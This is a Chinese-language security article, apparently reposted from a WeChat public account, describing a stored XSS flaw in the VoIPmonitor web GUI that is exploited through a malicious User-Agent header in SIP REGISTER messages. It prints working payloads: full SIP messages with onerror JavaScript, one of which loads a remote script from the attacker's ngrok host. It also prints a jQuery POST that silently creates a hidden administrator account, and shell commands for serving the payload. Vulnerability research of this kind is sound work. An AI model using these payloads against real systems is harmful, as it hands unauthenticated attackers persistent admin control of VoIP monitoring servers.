利用SIP协议实施XSS跨站脚本攻击

  • A+
所属分类:安全文章
利用SIP协议实施XSS跨站脚本攻击点击上方蓝字关注我们


概述


研究人员在审核VoIPmonitor GUI时发现,VoIP重要标准之一的SIP(会话起始协议)中存在存储型跨站脚本漏洞 (XSS),未经身份验证的攻击者可以利用该漏洞在目标系统上实现远程代码执行。

攻击者可以通过发送恶意SIP消息来获得对目标系统的持久后门管理访问权限,甚至还能进一步执行其他恶意活动,如从VoIP客户端窃取敏感数据、删除合法管理员帐户、通过键盘记录器获取凭据,以及利用内部Web应用程序等。

漏洞利用


VoIPmonitor是具有商业前端(VoIPmonitor GUI)的开源网络数据包嗅探器(SIP、RTP、RTCP、SKINNY、MGCP、WebRTC),运行在Linux系统之上。

我们可以在用户界面(UI)中监视任何SIP REGISTER请求,包括那些失败的请求。还能通过User-Agent标头值,知道发送SIP REGISTER消息的用户的设备类型。

利用SIP协议实施XSS跨站脚本攻击

让我们尝试发送恶意的SIP REGISTER消息,看看是否可以在用户界面(UI)上运行任意的JavaScript。构造恶意消息,将User-Agent设置为<img src=x onerror=alert(1)>,如果它在DOM中被渲染,浏览器将无法获取/x下的图像,并会在失败时执行恶意代码。恶意消息如下所示:

REGISTER sip:159.65.31.70 SIP/2.0rnVia: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-XrnMax-Forwards: 70rnFrom: <sip:[email protected]>;tag=ZB1fPjdIHA6RmaNwrnTo: <sip:[email protected]>rnCall-ID: C15AfnWADaCSBH4OrnCSeq: 1 REGISTERrnContact: <sip:[email protected]:48760;transport=udp>rnUser-Agent: <img src=x onerror=alert(1)>rnContent-Type: text/plainrnContent-Length: 0rnrn


请注意设置的User-Agent标头值。通过调整开源的sip攻击脚本,我们可以向测试环境发送几个恶意数据包,以查看有效载荷是否按预期执行。


利用SIP协议实施XSS跨站脚本攻击

通过VoIPmonitor GUI中的XSS调用JavaScript警报


等等!我们有自己的切入点,虽然并不多。但是,代码是在管理员的浏览器中执行,并能够在浏览器上保存一段时间,这意味着我们可以扩大此漏洞的影响。


作为起点,我们需要创建一个隐蔽的管理用户以实现持久化。创建用户时,VoIPmonitor GUI将发送下图所示的HTTP请求。


利用SIP协议实施XSS跨站脚本攻击

VoIPmonitor GUI在创建用户时发送的HTTP请求


如上图所示,带有JSON有效载荷的sql.php被调用。我们可以使用以下JavaScript 代码段重新创建此POST(HTTP)请求。


var username='h3x0r';var password='h3x0r-l33t-passwd';
$.post('php/model/sql.php', { task: 'CREATE', module: 'user_admin', taskParams: JSON.stringify({ "keyField": "id", "data": { "username": username, "name": username, "password": password, "delete2fa_sec": 0, "missing_sec": "not defined", "req_2fa": false, "email": "", "is_admin": true, } }), username: username , name: username , password: password , delete2fa_sec: '0' , email: '' , is_admin: 'on' , can_audit: '0' , note: '' , blocked_reason: '' , max_bad_login_attempt: '' , password_expiration_days: '' , enable_login_ip: '' , ip: '' , number: '' , domain: '' , vlan: ''});


我们可以将有效载荷保存在x.js文件中,并通过一个简单的HTTP服务器(python -m http.server 8080)在本地暴露它,然后利用ngrok(ngrok http 8080)将其暴露到互联网上。如此一来理员的浏览器运行以上JavaScript时将会创建一个隐蔽的管理员用户。然后,我们需要调整SIP REGISTER请求中的User-Agent标头,以获取远程JavaScript文件并执行,而不是弹出警报。


REGISTER sip:159.65.31.70 SIP/2.0rnVia: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-XrnMax-Forwards: 70rnFrom: <sip:[email protected]>;tag=ZB1fPjdIHA6RmaNwrnTo: <sip:[email protected]>rnCall-ID: C15AfnWADaCSBH4OrnCSeq: 1 REGISTERrnContact: <sip:[email protected]:48760;transport=udp>rnUser-Agent: <img src=x onerror="var d=document,s=d.createElement`script`;s.src='$MY_NGROK_URL/x.js',d.querySelector`p`.appendChild(s)">rnContent-Type: text/plainrnContent-Length: 0rnrn


现在执行时,浏览器将尝试获取/x下的图像,并在失败后创建一个<script>标记,指向我们要执行的恶意文件。我们将在浏览器中,依序看到以下三个请求:


  1. 请求/x,返回404错误;

  2. 这将触发onerror事件处理器创建一个<script>标签来获取我们的远程脚本(即 https://$some_ngrok_url/x.js);

  3. 最后向sql.php发送 POST请求,以创建h3x0r管理员用户。


利用SIP协议实施XSS跨站脚本攻击

在VoIPmonitor GUI利用存储型XSS漏洞中加载恶意JavaScript


现在可以在用户选项卡下,看到我们创建的恶意管理员!


利用SIP协议实施XSS跨站脚本攻击


至此,我们便成功通过一个未经身份验证的SIP消息,将临时权限提升为永久管理员访问权限。


利用SIP协议实施XSS跨站脚本攻击

END



利用SIP协议实施XSS跨站脚本攻击


好文!必须在看

本文始发于微信公众号(SecTr安全团队):利用SIP协议实施XSS跨站脚本攻击

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: